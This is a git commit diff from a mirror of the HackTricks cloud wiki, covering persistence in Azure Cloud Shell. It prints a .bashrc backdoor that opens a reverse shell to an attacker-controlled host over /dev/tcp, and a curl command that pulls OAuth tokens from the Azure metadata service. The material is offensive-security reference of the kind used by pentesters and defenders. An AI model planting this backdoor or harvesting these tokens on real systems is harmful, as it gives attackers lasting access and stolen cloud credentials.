mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-15 22:32:31 -08:00
Y
This commit is contained in:
@@ -11,20 +11,16 @@ Azure Cloud Shell offers command-line access to manage Azure resources with pers
|
||||
|
||||
Example backdoor in .bashrc:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
This backdoor can execute commands even 5 minutes after the cloud shell is finished by the user.
|
||||
|
||||
Additionally query Azure’s metadata service for instance details and tokens:
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user